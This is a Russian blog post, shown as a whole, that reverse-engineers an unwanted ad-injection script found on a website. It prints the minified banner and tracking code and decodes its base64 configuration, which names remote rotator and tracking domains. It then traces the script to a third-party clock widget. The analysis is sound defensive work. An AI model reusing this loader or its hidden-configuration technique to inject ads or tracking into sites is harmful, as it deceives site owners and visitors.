            ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";", D: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + A.l + ";width:" + a.width / a.horizCount + a.widthUnit + ";", u: "z-index:5;margin:" + A.C + ";position:relative;" + B + ";height:" + A.size + "px;width:" + A.size + "px;float:" +
            A.m + ";", h: "z-index:10;cursor:pointer;position:absolute;top:" + w.A.top + "px;left:" + w.A.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";", text: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ? "700" : "100") + ";font-size:" +
            m + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor + ";", sPText: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + l + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor + ";"};
        this.ta = function () {
            0 ==
                this.d && (this.d = "over" == a.orientation ? 35 : a.bannerSize)
        };
        if (!q) {
            q = k.getElementsByTagName("script");
            A = RegExp("bidx3d(" + a.blockId + ")(\D|.{0}$)");
            w = 0;
            for (B = q.length; w < B; w += 1)if (-1 != q[w].src.indexOf(x.a.rotatorDomain) && A.test(g.L(q[w].src)) || -1 != q[w].text.indexOf(x.a.rotatorDomain) && -1 != q[w].text.indexOf(x.a.trsKey)) {
                A = k.createElement("div");
                A.id = "wzblock" + a.blockId;
                q[w].parentNode.insertBefore(A, q[w].nextSibling);
                break
            }
        }
        q = k.getElementById("wzblock" + a.blockId);
        q.style.display = "block";
        r.globalInfo.arrBlocks =
            [];
        this.data = a;
        p.appendChild(e);
        b(e, "table");
        for (w = A = 0; w < a.vertCount; w += 1) {
            B = k.createElement("tr");
            for (n = 0; n < a.horizCount; n += 1) {
                var m = {D: k.createElement("td"), h: k.createElement("img"), text: k.createElement("span"), u: k.createElement("span")}, l = a.teasers[A], u = k.createElement("span"), t = k.createElement("a");
                A++;
                for (var v in m)b(m[v], v), "td" == v && c(m[v], m.text);
                var C = l.trackingDomain;
                m.h.src = x.a.imgDomain + l.src;
                m.h.title = this.B(l.title);
                m.h.alt = this.B(l.title);
                m.h.setAttribute("clickUri", l.clickUri);
                g.Q() &&
                (m.h.onclick = function () {
                    r.open(C + g.g(this.getAttribute("clickUri") + d.G()))
                });
                u.innerHTML = this.B(l.title);
                m.text.className = "wzTextSpan";
                m.text.appendChild(u);
                r.globalInfo.arrBlocks.push(m.text);
                m.u.appendChild(m.h);
                t.target = "_blank";
                t.href = l.trackingDomain + g.g(l.clickUri);
                t.style.cssText = "text-decoration:none;display:block;";
                t.setAttribute("clickUri", l.clickUri);
                t.onclick = function () {
                    this.href = C + g.g(this.getAttribute("clickUri") + d.G())
                };
                t.appendChild(m.u);
                t.appendChild(m.text);
                m.D.appendChild(t);
                B.appendChild(m.D)
            }
            f.appendChild(B);
            e.appendChild(f)
        }
        h.src = a.teasers[0].impDomain + g.g(a.trackShowUri);
        h.style.cssText = "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;";
        p.appendChild(h);
        q.appendChild(p);
        this.o();
        if ("px" != this.r.widthUnit) {
            var E = e.offsetWidth;
            r.onresize = function () {
                10 < Math.abs(E - e.offsetWidth) && (j.o(), E = e.offsetWidth)
            }
        }
    };
    da.prototype.o = function (a) {
        if (!this.data.dontResizeFonts) {
            0 == parseInt(this.d, 10) && this.ta();
            a = a || r.globalInfo.arrBlocks;
            for (var b = 0, c = a.length; b < c; b += 1)if ("SPAN" == a[b].tagName || "TD" ==
                a[b].tagName) {
                var d = a[b].getElementsByTagName("span")[0];
                if ("undefined" !== typeof d)if (d.offsetHeight > parseInt(this.d, 10))for (; a[b].style.fontSize && d.offsetHeight > parseInt(this.d, 10) && 0 < parseInt(a[b].style.fontSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) - 1 + this.data.textSizeUnit; else for (; a[b].style.fontSize && d.offsetHeight < parseInt(this.d, 10) && parseInt(a[b].style.fontSize, 10) < parseInt(this.data.textSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) + 1 + this.data.textSizeUnit
            }
        }
    };
    E(ga, da);
    ga.prototype.p = function (a) {
        function b() {
            var a = r.scrollY || j.scrollTop || k.body.scrollTop;
            m <= a && !n ? (clearInterval(q), q = s, f.style.display = "block", d.o(), n = setInterval(function () {
                0 > parseInt(h.style[B], 10) ? h.style[B] = parseInt(h.style[B], 10) + 20 + "px" : (h.style[B] = "0px", clearInterval(n), n = s)
            }, 20)) : m > a && !q && c()
        }

        function c(b) {
            clearInterval(n);
            n = s;
            q = setInterval(function () {
                parseInt(h.style[B], 10) > 0 - d.width ? h.style[B] = parseInt(h.style[B], 10) - 20 + "px" : (h.style[B] = 0 - d.width + "px", clearInterval(q), q = s, b ? d.close(a,
                    f) : f.style.display = "none")
            }, 20)
        }

        this.t(a);
        var d = this, e = "wzScroller" + (new Date).getTime(), f = k.createElement("div"), p = k.createElement("div"), h = k.createElement("div"), j = k.documentElement, m = 200, n, q, B, l = "z-index:10000;overflow:hidden;bottom:0;height:100%;width:100%;background:none;", u = "margin:20px 0 0;position:absolute;top:0;width:100%;height:100%;", t = "position:absolute;width:100%;height:20px;top:-20px;";
        this.r = a;
        switch (a.bannerPosition) {
            case 6:
                B = "left";
                l += "left: 0;";
                u += "padding:0 30px 5px 5px;background:url(" +
                    x.a.scriptsDomain + "img/bottom_l.png) no-repeat 100% bottom;";
                t += "right:0;background:url(" + x.a.scriptsDomain + "img/top_l.png) no-repeat 100% 0;";
                break;
            default:
                B = "right", l += "right: 0;", u += "padding:0 5px 5px 30px;background:url(" + x.a.scriptsDomain + "img/bottom_r.png) no-repeat 0 bottom;", t += "left:0;background:url(" + x.a.scriptsDomain + "img/top_r.png) no-repeat 0 0;"
        }
        this.height = this.width = 0;
        h.innerHTML = 'x3cspan stylex3d"float: left;font: bold 14px Arial; color: #701C1F;"x3eu0427u0418u0422u0410u0419u0422u0415 u0422u0410u041au0416u0415x3c/spanx3ex3cspan stylex3d"float: right; font: 12px/16px Arial; color:#666;cursor: pointer;" idx3d"close_' +
            e + '"x3eu0417u0430u043au0440u044bu0442u044cx3c/spanx3ex3cdiv stylex3d"clear: both;"x3ex3c/divx3e';
        h.appendChild(p);
        p.style.cssText = t;
        h.style.cssText = u;
        h.id = e;
        g.v() ? l += "position:fixed;" : (l += "position:absolute;", g.aa({F: f}), this.b(r, "scroll", function () {
            g.aa({F: f})
        }, T));
        f.style.cssText = l;
        f.appendChild(h);
        this.H(h, a);
        k.body.appendChild(f);
        f.style.width = a.width + a.widthUnit;
        l = f.offsetWidth - 35;
        h.style.width = 790 > l ? l + "px" : "755px";
        this.sa(a, e);
        f.style.width = this.width + 35 + "px";
        h.style[B] = "-" + this.width +
            "px";
        h.style.width = this.width + "px";
        f.style.height = this.height + 70 + "px";
        h.style.height = this.height + 45 + "px";
        p.style.width = f.style.width;
        f.style.display = "none";
        this.b(r, "scroll", function () {
            b()
        }, T);
        this.b(r, "resize", function () {
            b()
        }, T);
        k.getElementById("close_" + e).onclick = function () {
            c(y)
        };
        this.wrap = f;
        this.data = a;
        this.id = e;
        return this
    };
    ga.prototype.sa = function (a, b) {
        function c(a, b) {
            a.style.cssText = n.I[b];
            e.b(a, "mouseover", function () {
                a.style.cssText = n.P[b];
                "text" == b && n.o([a])
            }, T);
            e.b(a, "mouseout", function () {
                a.style.cssText =
                    n.I[b];
                n.o([a])
            }, T)
        }

        function d(a, b) {
            e.b(a, "mouseover", function () {
                b.style.cssText = n.P.sPText;
                "TD" == a.tagName && n.o([b])
            }, y);
            e.b(a, "mouseout", function () {
                b.style.cssText = n.I.sPText;
                n.o([b])
            }, y)
        }

        var e = this, f = k.createElement("table"), p = k.getElementById(b), h = k.createElement("tbody"), j = k.createDocumentFragment(), m = k.createElement("img"), n = this, q = s, l;
        if (!q)switch (q = {}, q.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10), l = q.size + parseInt(a.imgMarginSize, 10), a.orientation) {
            case "over":
                q.margin =
                    "0";
                q.C = "0 0 " + a.imgMarginSize + "px";
                q.m = "none";
                q.l = "center";
                q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2};
                break;
            case "left":
                q.margin = "0 0 0 " + l + "px";
                q.C = "0 -" + l + "px 0 0";
                q.m = "left";
                q.l = "left";
                q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};
                break;
            case "right":
                q.margin = "0 " + l + "px 0 0", q.C = "0 0 0 -" + l + "px", q.m = "right", q.l = "left", q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: 0}
        }
        l = q;
        var u = g.Q() ?
            "display:inline;zoom:1;" : "display:inline-block;", t = parseInt(a.textSize, 10), v = t + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), C = t + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));
        this.d = parseInt(a.textDivHeight, 10);
        this.I = {table: "margin:5px 0;table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:100%;border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor, D: "vertical-align:top;background:" +
            a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + l.l + ";width:" + 100 / a.horizCount + "%", u: "z-index:1;margin:" + l.C + ";position:relative;" + u + ";height:" + l.size + "px;width:" + l.size + "px;float:" + l.m, h: "position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor, text: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") +
            ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + t + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor, sPText: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + t + a.textSizeUnit + ";font-family:" + a.textFont +
            ";color:" + a.textColor};
        this.P = {table: "margin:5px 0;table-layout:fixed;background:" + a.backgroundOnmouseover + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:100%;border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor, D: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + l.l + ";width:" + 100 / a.horizCount + "%", u: "z-index:5;margin:" + l.C + ";position:relative;" +
            u + ";height:" + l.size + "px;width:" + l.size + "px;float:" + l.m, h: "position:absolute;cursor:pointer;top:" + q.A.top + "px;left:" + q.A.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor, text: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ?
            "700" : "100") + ";font-size:" + v + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor, sPText: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + C + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor};
        this.ta = function () {
            0 == this.d && (this.d = "over" == a.orientation ? 35 : a.bannerSize)
        };
        r.globalInfo.arrBlocks = [];
        this.data = a;
        j.appendChild(f);
        c(f, "table");
        for (l = q = 0; l < a.vertCount; l += 1) {
            u = k.createElement("tr");
            for (t = 0; t < a.horizCount; t += 1) {
                var v = {D: k.createElement("td"), h: k.createElement("img"), text: k.createElement("span"), u: k.createElement("span")}, C = a.teasers[q], E = k.createElement("span"), D = k.createElement("a");
                q++;
                for (var G in v)c(v[G], G), "td" == G && d(v[G], v.text);
                var H = C.trackingDomain;
                v.h.src = x.a.imgDomain +
                    C.src;
                v.h.title = e.B(C.title);
                v.h.alt = e.B(C.title);
                v.h.setAttribute("clickUri", C.clickUri);
                g.Q() && (v.h.onclick = function () {
                    this.href = H + g.g(this.getAttribute("clickUri") + e.G())
                });
                E.innerHTML = e.B(C.title);
                v.text.className = "wzTextSpan";
                v.text.appendChild(E);
                r.globalInfo.arrBlocks.push(v.text);
                v.u.className = "wzImgSpan";
                v.u.appendChild(v.h);
                D.target = "_blank";
                D.href = C.trackingDomain + g.g(C.clickUri);
                D.style.cssText = "text-decoration:none;display:block;";
                D.setAttribute("clickUri", C.clickUri);
                D.onclick = function () {
                    this.href =
                        H + g.g(this.getAttribute("clickUri") + e)
                };
                D.appendChild(v.u);
                D.appendChild(v.text);
                v.D.appendChild(D);
                u.appendChild(v.D)
            }
            h.appendChild(u);
            f.appendChild(h)
        }
        m.src = a.teasers[0].impDomain + g.g(a.trackShowUri);
        m.style.cssText = this.U;
        j.appendChild(m);
        p.appendChild(j);
        this.height = f.offsetHeight;
        this.width = f.offsetWidth;
        if ("px" != this.data.widthUnit) {
            var I = f.offsetWidth;
            r.onresize = function () {
                10 < Math.abs(I - f.offsetWidth) && (n.o(), width = I = f.offsetWidth)
            }
        }
    };
    E(Za, ga);
    Za.prototype.p = function (a) {
        var b = this, c = "wzPopin" +
            (new Date).getTime(), d = document.createElement("div"), e = document.createElement("div"), f = document.createElement("span"), k, h, j = "z-index:9999;overflow:hidden;height:0;width:100%;background:none;", l = "background:#fff;position:absolute;", m = "100" == a.height && "%" == a.heightUnit;
        if (m)switch (a.bannerPosition) {
            case 0:
            case 6:
                a.bannerPosition = 3;
                break;
            case 2:
            case 8:
                a.bannerPosition = 5
        }
        switch (a.bannerPosition) {
            case 0:
                k = "bottom";
                j += "top:0;left:0;";
                l += "margin: 0 0 20px;bottom:0;left:0;right:0;";
                h = "bottom";
                break;
            case 2:
                k =
                    "bottom";
                j += "top:0;right:0;";
                l += "margin: 0 0 20px;bottom:0;left:0;";
                h = "bottom";
                break;
            case 3:
                k = "right";
                j += "top:0;left:0;";
                l += "margin: 20px 0 0;bottom:0;top:0;right:0;";
                h = "top";
                break;
            case 5:
                k = "left";
                j += "top:0;right:0;";
                l += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;";
                h = "top";
                break;
            case 6:
                k = "top";
                j += "bottom:0;left:0;";
                l += "margin: 20px 0 0;top:0;left:0;right:0;";
                h = "top";
                break;
            default:
                k = "top", j += "bottom:0;right:0;", l += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;", h = "top"
        }
        this.width = this.height =
            0;
        e.style.cssText = l;
        e.id = c;
        g.v() ? j += "position:fixed;" : (j += "position:absolute;", g.aa({F: d}), r.onscroll = function () {
            g.aa({F: d})
        });
        d.style.cssText = j;
        d.appendChild(e);
        f.style.cssText = "position: absolute; " + h + ": -17px; right: 10px;font: 12px/17px Arial; color:#666;cursor: pointer;";
        f.innerHTML = "u0417u0430u043au0440u044bu0442u044c";
        setTimeout(function () {
            e.appendChild(f)
        }, 5E3);
        this.H(e, a);
        document.body.appendChild(d);
        d.style.width = a.width + a.widthUnit;
        e.style.width = d.offsetWidth - 0 + "px";
        this.sa(a, c);
        m ? (d.style.height = "100%", e.style[k] = d.offsetWidth + "px", e.style.height = "100%") : (d.style.height = this.height + 20 + "px", e.style[k] = d.style.height, e.style.height = this.height + "px");
        e.style.width = this.width + "px";
        this.o();
        f.onclick = function () {
            b.close(a, d)
        };
        setTimeout(function () {
            var a = setInterval(function () {
                0 < parseInt(e.style[k], 10) ? e.style[k] = parseInt(e.style[k], 10) - 10 + "px" : (e.style[k] = 0, clearInterval(a))
            }, 20)
        }, 1E3);
        this.wrap = d;
        this.data = a;
        this.id = c;
        return this
    };
    var Eb = new xa, Fb = new Ta, Gb = new Ua, Hb = new Va,
        Ib = new ca, Jb = new Wa, Kb = new ya, Lb = new Xa, Mb = new da, Nb = new ga, Ob = new Za, Pb = new Ya, g = new sb, x = new rb(xb)
})(window, document, "eyJ2ZXJzaW9ucyI6eyJtcm90IjoiMTM4MTQ3OTUxMzA5NSIsImRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJzY3IiOiIxLzIyLmpzPzI0Iiwicm90IjoiMS8zLmpzPzI0IiwidGwiOiIxLzEyLmpzPzI0IiwiY29tbW9uIjoiMS8xLmpzPzI0IiwibXBwdW5kIjoiMTM4MTQ3OTUxMzA5NSIsImFzIjoiMS8yLmpzPzI0IiwiaWNxIjoiMTM4MTQ3OTUxMzA5NSIsImJyIjoiMS8xMS5qcz8yNCIsInZrbSI6IjEvMjEuanM_MjQiLCJ0c3IiOiIxLzE4LmpzPzI0IiwicGQiOiIxMzgxNDc5NTEzMDk1IiwicHB1bmQiOiIxMzgxNDc5NTEzMDk1Iiwic2dtIjoiMTM4MTQ3OTUxMzA5NSIsInBpbiI6IjEvMjMuanM_MjQiLCJqc2ZyIjoiMTM4MTQ3OTUxMzA5NSIsInBvcHVwIjoiMS80LmpzPzI0IiwibWRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJmciI6IjEzODE0Nzk1MTMwOTUiLCJ3YmwiOiIxMzgxNDc5NTEzMDk1IiwiZW0iOiIxMzgxNDc5NTEzMDk1IiwiY2YiOiIxLzE1LmpzPzI0In0sInNjcmlwdHNEb21haW4iOiJodHRwOi8vMTg4LjY0LjE3NC4yNS9qcy8iLCJydFVyaSI6Ii8_dD1ycnQmYmxvY2tpZHM9MVx1MDAxOCZ0cnNLZXk9NjAyMjgmdWlkPWI3ZWUxMTcwLTMyNGQtMTFlMy1iNGM0LTAwMjU5MDY4YTkyZCIsInVrRG9tYWluIjoiaHR0cDovL3NlYS53YXZldmlldy5pbmZvL3VrLyIsInVrVXJpIjoidD1zeW5jJnV1aWQ9YjdlZTExNzAtMzI0ZC0xMWUzLWI0YzQtMDAyNTkwNjhhOTJkJnJkPTE4OC42NC4xNzQuMjUiLCJyb3RhdG9yRG9tYWluIjoiaHR0cDovLzE4OC42NC4xNzQuMjUiLCJpbWdEb21haW4iOiJodHRwOi8vc2xkLk5FWFQtRkVXLklORk8iLCJ0cnNLZXkiOiI2MDIyOCIsImZvcmVpZ25VaWQiOm51bGwsIm1hdGNoaW5nVXJsIjpudWxsLCJkb250R29Ub1VLIjpudWxsLCJhclVpZCI6bnVsbCwiYWZyYW1lVXJsIjoiaHR0cDovL2V4aXN0LmJ1aWx0LWRyeS5pbmZvLzMuaHRtbCAifQ");

Скрипт обернут в анонимную функцию, в которую передается три параметра: window, document и непонятная строка, которая очевидно и есть чем-то интересным, что стоит проанализировать. Передается он в параметр xb. Find Usages этого параметра и попадаем на строку:

x = new rb(xb);

Это было единственное использование этой строки в коде. Проследим в rb, что же мы там увидим?

    function rb(a) {
        this.a = g.parseJSON(g.L(a));
        r.globalInfo = {};
        g.log(this.a);
        if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {
            var b = this, c = setTimeout(function () {
                b.oa()
            }, 5E3);
            g.da(this.a.ukDomain, this.a.ukUri, function (a) {
                clearTimeout(c);
                g.parseJSON(g.L(a));
                r.globalInfo.udata = a;
                b.oa()
            }, "jsf")
        } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()
    }

Как видно, используется ф-ция parseJSON, но перед этим проходит еще какую-то обработку. Смотрим в функцию L().

L: function (a, b) {
            a = a.replace(/[-]/g, "+").replace(/[_]/g, "/");
            for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f < a.length; f++)e =
                a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log("Illegal characters (codex3d" + e + ") in position " + f) : (j = j << 6 | d, h += 6, 8 <= h && (h -= 8, "x3d" !== a.charAt(f) && g.push(j >> h & 255), j &= (1 << h) - 1));
            if (b) {
                c = [];
                b &= 255;
                for (d = 0; d < g.length; c.push(b ^ g[d]), d++);
                g = c
            }
            return this.lb(g)

Вот это уже интересно, проходит пребразование строки и возвращается результат, перед этим вызвав еще раз какую-то функцию lb(). Смотрим в нее:

lb: function (a) {
            for (var b = [], c = 0, d = a.length, e, f, g; c < d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 > e ? (b.push(String.fromCharCode(e)), c += 1) : 191 < e && 224 > e ? (b.push(String.fromCharCode((e & 31) << 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | g & 63)), c +=
                3);
            return b.join("")

А вот это уже действительно интересно. Это является последней точкой в преобразовании третьего параметра, а именно нашего xb. Значит в переменной x мы получаем чистый объект:

x = new rb(xb)

Давайте же посмотрим что да как в нем. Копируем все тело скрипта в FireBug и добавляем еще одну строку:

x = new rb(xb);
console.debug(x);

Выполняем и видим результат — чистый JSON этого зловещего третьего параметра:

{
    "versions":{
        "mrot":"1381475413099",
        "direct":"1381475413099",
        "scr":"1/22.js?24",
        "rot":"1/3.js?24",
        "tl":"1/12.js?24",
        "common":"1/1.js?24",
        "mppund":"1381475413099",
        "as":"1/2.js?24",
        "icq":"1381475413099",
        "br":"1/11.js?24",
        "vkm":"1/21.js?24",
        "tsr":"1/18.js?24",
        "pd":"1381475413099",
        "ppund":"1381475413099",
        "sgm":"1381475413099",
        "pin":"1/23.js?24",
        "jsfr":"1381475413099",
        "popup":"1/4.js?24",
        "mdirect":"1381475413099",
        "fr":"1381475413099",
        "wbl":"1381475413099",
        "em":"1381475413099",
        "cf":"1/15.js?24"
    },
    "scriptsDomain":"http://28310.mytop.pp.ua/js/",
    "rtUri":"/?t=rrt&blockids=123154&trsKey=60228&uid=2c2453b0-3244-11e3-9426-00259067db69",
    "ukDomain":"http://sea.waveview.info/uk/",
    "ukUri":"t=sync&uuid=2c2453b0-3244-11e3-9426-00259067db69&rd=28310.mytop.pp.ua",
    "rotatorDomain":"http://28310.mytop.pp.ua",
    "imgDomain":"http://sld.NEXT-FEW.INFO",
    "trsKey":"60228",
    "foreignUid":null,
    "matchingUrl":null,
    "dontGoToUK":null,
    "arUid":null,
    "aframeUrl":"http://exist.built-dry.info/3.html "
}

В параметрах этого JSON указаны URL-ы, по которым происходит запрос. Давайте же проверим, куда они ведут. Выполняем команду:

ping 28310.mytop.pp.ua
PING 28310.mytop.pp.ua (188.64.174.25) 56(84) bytes of data.
64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.3 ms
64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=2 ttl=56 time=25.4 ms

Как видим, этот пинг ведет нас на хостинг h1host.ru. Для пущей уверенности я выполнил еще один пинг на другой домен:

ping 28310.innet.pp.ua
PING 28310.innet.pp.ua (188.64.174.25) 56(84) bytes of data.
64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.4 ms

Снова этот же хостинг. Для окончательной проверки я решил сравнить ресурсы, которые загружены в футере, с ресурсами, которые я получу по такому адресу 188.64.174.25. И результатом было все, что грузится в рекламе. Точно так же были проверены и остальные ресурсы — все совпадает.
Значит этот IP и есть «мозгом» этой рекламы.

Остается последнее, как же все-таки очистить свой сайт от проделок кул-хацкеров?
После исследования скрипта стало ясно одно — время для показа рекламы он хранит в кукисах, записанных на другой домен. Также стало ясно, что этот скрипт и является Entry Point рекламы. Здесь создаются все элементы, подключаются другие скрипты и т.п. Способ подключения этого скрипта не в footer'е template'а, а по запросу на наш 188.64.174.25. Этот запрос отдает чистый скрипт, обернутый в анонимную функцию, который выполняется и расставляет все по своим местам. Где же он делает этот запрос?

После долгого анализа запросов, которые идут с сервера я пришел к выводу, что может быть только 2 возможных «подозреваемых» — это yandex-метрика (да, я на нее думал) и один виджет, который я сначала не заметил — виджет с 101widgets.com. Я сразу же попросил убрать эти часы и посмотреть на результат, будет ли появляться реклама снова. После нескольких десятков проб с часами и без, через анонимайзеры и т.п. была выявлена закономерность — часы являются EntryPoint для загрузки скрипта, который в свою очередь, уже создает рекламный баннер.

Вывод: хоть результат и оказался банальным и смешным, было интересно реверсить алгоритм работы данного скрипта и с самого начала аргументированно дойти до причины появления таких рекламных площадок. Виджет создавал еще один запрос на свой хост по адресу 188.64.174.25, который в свою очередь отдавал скрипт и инициализировал процесс отображения баннера.

P.S. Для кого-то это покажется банально простым, а кого-то может заинтересовать и помочь в решении подобной проблемы.

Автор: ghaiklor

Источник

Поделиться

* - обязательные к заполнению поля